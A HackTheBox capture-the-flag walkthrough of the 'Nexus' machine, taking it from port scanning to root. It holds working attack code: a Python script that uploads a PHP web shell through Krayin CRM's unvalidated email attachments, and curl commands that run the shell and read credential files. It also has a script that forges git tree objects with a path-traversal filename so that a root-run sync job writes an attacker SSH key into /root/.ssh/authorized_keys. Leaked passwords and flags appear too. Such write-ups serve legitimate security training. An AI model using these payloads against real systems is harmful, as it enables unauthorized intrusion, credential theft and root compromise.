Post

HackTheBox Writeup - Nexus

HackTheBox Writeup - Nexus

This walkthrough details the complete, step-by-step methodology to compromise and obtain root access on the Nexus machine from HackTheBox.


1. Phase 1: Reconnaissance & Port Scanning

We start by performing a full TCP port scan using nmap to discover open ports and service details on the target IP (10.129.234.54).

1
nmap -sC -sV -p- --min-rate 5000 -oN nmap_full.txt 10.129.234.54

Scan Results

The scan reveals only two active services:

  • Port 22 (SSH): OpenSSH 9.6p1 (Ubuntu Linux)
  • Port 80 (HTTP): nginx 1.24.0

The HTTP service on port 80 redirects requests to http://nexus.htb/. We add the domain and its discovered subdomains to our local /etc/hosts file:

1
10.129.234.54   nexus.htb git.nexus.htb billing.nexus.htb

2. Phase 2: Web Vhost Enumeration & Credential Hunting

Virtual Hosts Discovered

  1. nexus.htb: A static corporate website for the Nexus Energy Authority.
  2. git.nexus.htb: A self-hosted Gitea Git service interface.
  3. billing.nexus.htb: A Krayin CRM (Laravel) instance with an admin panel located at /admin/login.

Crawling Gitea

On Gitea, we discover a public repository named admin/krayin-docker-setup. We examine the repository’s commit logs to search for configuration leaks:

1
2
3
git clone http://git.nexus.htb/admin/krayin-docker-setup
cd krayin-docker-setup
git log -p

Inside the commit history (specifically at commit 1615c465b7), we find a deleted .env file containing the initial configuration parameters:

APP_NAME='Krayin CRM'
APP_DEBUG=true
DB_DATABASE=krayin
DB_USERNAME=krayin
DB_PASSWORD=N27xh!!2ucY04

We also gather potential usernames from Gitea profiles and public corporate emails, identifying:

  • admin
  • jones
  • j.matthew@nexus.htb (Hiring Manager)

3. Phase 3: Exploiting Krayin CRM (Foothold - CVE-2026-36340)

Using the email j.matthew@nexus.htb and the database password N27xh!!2ucY04 found in the Gitea history, we successfully authenticate to the Krayin CRM admin dashboard at billing.nexus.htb/admin/login.

Analyzing File Upload Handling

Inside Krayin CRM, we investigate the Compose Email feature (POST /admin/mail/create).

Reviewing the backend PHP repository code for the attachment controller shows that when an email is drafted or sent, files inside the attachments request array are saved using the client-original filename directly into the public storage folder under /storage/emails/{email_id}/{filename}:

1
2
3
// From AttachmentRepository.php:
$path = 'emails/'.$email->id.'/'.$name;
Storage::put($path, $content);

Crucially, the server performs no extension validation or filename sanitization on these email attachments.

Uploading a PHP Web Shell

We craft an HTTP POST request to upload a PHP shell named shell.php with the parameter is_draft=1 so it is immediately saved to drafts without attempting outbound SMTP delivery:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import requests, re

session = requests.Session()
# Authenticate
r = session.get("http://billing.nexus.htb/admin/login")
csrf = re.search(r'name="_token"\s+value="([^"]+)"', r.text).group(1)
session.post("http://billing.nexus.htb/admin/login", data={"_token": csrf, "email": "j.matthew@nexus.htb", "password": "N27xh!!2ucY04"})

# Get mail CSRF
r_mail = session.get("http://billing.nexus.htb/admin/mail/inbox")
csrf_mail = re.search(r'name="_token"\s+value="([^"]+)"', r_mail.text).group(1)

# Upload shell
headers = {
    "X-CSRF-TOKEN": csrf_mail,
    "X-Requested-With": "XMLHttpRequest",
    "Accept": "application/json"
}
files = {"attachments[0]": ("shell.php", "<?php system($_GET['cmd']); ?>", "application/octet-stream")}
data = {
    "_token": csrf_mail,
    "reply_to[0]": "j.matthew@nexus.htb",
    "reply": "pwn",
    "subject": "pwn",
    "is_draft": "1"
}
r_upload = session.post("http://billing.nexus.htb/admin/mail/create", data=data, files=files, headers=headers)
print(r_upload.json())

The server returns:

1
2
3
4
5
6
7
8
9
10
11
12
{
  "data": {
    "id": 2,
    "attachments": [
      {
        "name": "shell.php",
        "path": "emails/2/shell.php",
        "url": "http://billing.nexus.htb/storage/emails/2/shell.php"
      }
    ]
  }
}

Remote Code Execution

We trigger our web shell via HTTP to execute system commands as the web server user www-data:

1
curl -s "http://billing.nexus.htb/storage/emails/2/shell.php?cmd=id;whoami"
1
2
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data

4. Phase 4: System Enumeration & User Pivot

With local access on the server, we read the active .env configuration file of the CRM app at /var/www/krayin/.env to check for further credential leaks:

1
curl -s "http://billing.nexus.htb/storage/emails/2/shell.php?cmd=cat+/var/www/krayin/.env"

Inside the file, we find the real database password used on the host database:

DB_PASSWORD=y27xb3ha!!74GbR

SSH Login (jones)

Since the developer username jones is active on the system, we attempt password reuse with this password over SSH:

1
sshpass -p 'y27xb3ha!!74GbR' ssh jones@10.129.234.54

The login is successful! We retrieve the user flag from /home/jones/user.txt:

1
fe8486cdc54d3532e879aa0d6fbab2b2

5. Phase 5: Privilege Escalation to Root

While inspecting system timers, we locate a systemd timer /etc/systemd/system/gitea-template-sync.timer that executes /usr/bin/python3 /etc/gitea/template-sync.py as root every minute.

Analyzing the Sync Script

We read /etc/gitea/template-sync.py and inspect the bare repository unpacking loop:

1
2
3
4
5
6
7
    for mode, objhash, filepath in entries:
        target = os.path.join(stage_path, filepath)
        target_dir = os.path.dirname(target)
        try:
            os.makedirs(target_dir, exist_ok=True)
            with open(target, 'wb') as f:
                f.write(cat_result.stdout)

The path construction os.path.join(stage_path, filepath) is vulnerable to Path Traversal. Because Python’s os.path.join preserves trailing segments containing directory traversal characters (like ..), a repository file entry named ../../../../../../../../../../root/.ssh/authorized_keys will bypass the staging path restrictions and write to the absolute path /root/.ssh/authorized_keys.

Since the sync service runs as root, it has the required permissions to modify the root user’s SSH configurations.

Custom Git Tree Injection

Because the standard git CLI client blocks users from creating files containing / and .. in their names at the index layer, we must write a custom commit directly into the git object database using Python on our local machine.

We write a script to generate the raw zlib-compressed tree object:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import zlib, hashlib, os

# Initialize repo
os.system("git init -b main")

# Write public key blob
key_content = b"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEjN7CaosAxTvhZuB8QYKEOUnLnbzYKW/xTpwDADCHhs whoami@acer\n"
blob_data = f"blob {len(key_content)}\x00".encode() + key_content
blob_sha = hashlib.sha1(blob_data).hexdigest()

blob_dir = f".git/objects/{blob_sha[:2]}"
os.makedirs(blob_dir, exist_ok=True)
with open(f"{blob_dir}/{blob_sha[2:]}", "wb") as f:
    f.write(zlib.compress(blob_data))

# Construct tree referencing traversal path
bin_sha = bytes.fromhex(blob_sha)
filename = b"../../../../../../../../../../root/.ssh/authorized_keys"
entry = b"100644 " + filename + b"\x00" + bin_sha
tree_data = f"tree {len(entry)}\x00".encode() + entry
tree_sha = hashlib.sha1(tree_data).hexdigest()

tree_dir = f".git/objects/{tree_sha[:2]}"
os.makedirs(tree_dir, exist_ok=True)
with open(f"{tree_dir}/{tree_sha[2:]}", "wb") as f:
    f.write(zlib.compress(tree_data))

# Create commit
commit_content = f"tree {tree_sha}\nauthor jones <j.matthew@nexus.htb> 1782676000 +0000\ncommitter jones <j.matthew@nexus.htb> 1782676000 +0000\n\npwn commit\n".encode()
commit_data = f"commit {len(commit_content)}\x00".encode() + commit_content
commit_sha = hashlib.sha1(commit_data).hexdigest()

commit_dir = f".git/objects/{commit_sha[:2]}"
os.makedirs(commit_dir, exist_ok=True)
with open(f"{commit_dir}/{commit_sha[2:]}", "wb") as f:
    f.write(zlib.compress(commit_data))

# Update ref pointers
with open(".git/refs/heads/main", "w") as f:
    f.write(commit_sha + "\n")

Pushing the Exploit Payload

We log into Gitea (git.nexus.htb) as jones with y27xb3ha!!74GbR and create a public repository pwn-template, marking it as a Template in repository settings.

We then push our custom tree branch to the repository:

1
2
git remote add origin http://git.nexus.htb/jones/pwn-template.git
git push -f http://jones:y27xb3ha%21%2174GbR@git.nexus.htb/jones/pwn-template.git main

Root Flag Recovery

We wait for one minute until the systemd timer triggers the synchronization service. Checking /var/log/template-sync.log confirms successful extraction:

1
[2026-06-28 19:49:02]   synced: ../../../../../../../../../../root/.ssh/authorized_keys

Our public SSH key is now in the root configuration. We log in directly as root:

1
ssh -i ~/.ssh/id_ed25519 root@10.129.234.54
1
uid=0(root) gid=0(root) groups=0(root)

Root flag located at /root/root.txt:

1
91d8e45cf698e59ff1ba2283e79ac723
This post is licensed under CC BY 4.0 by the author.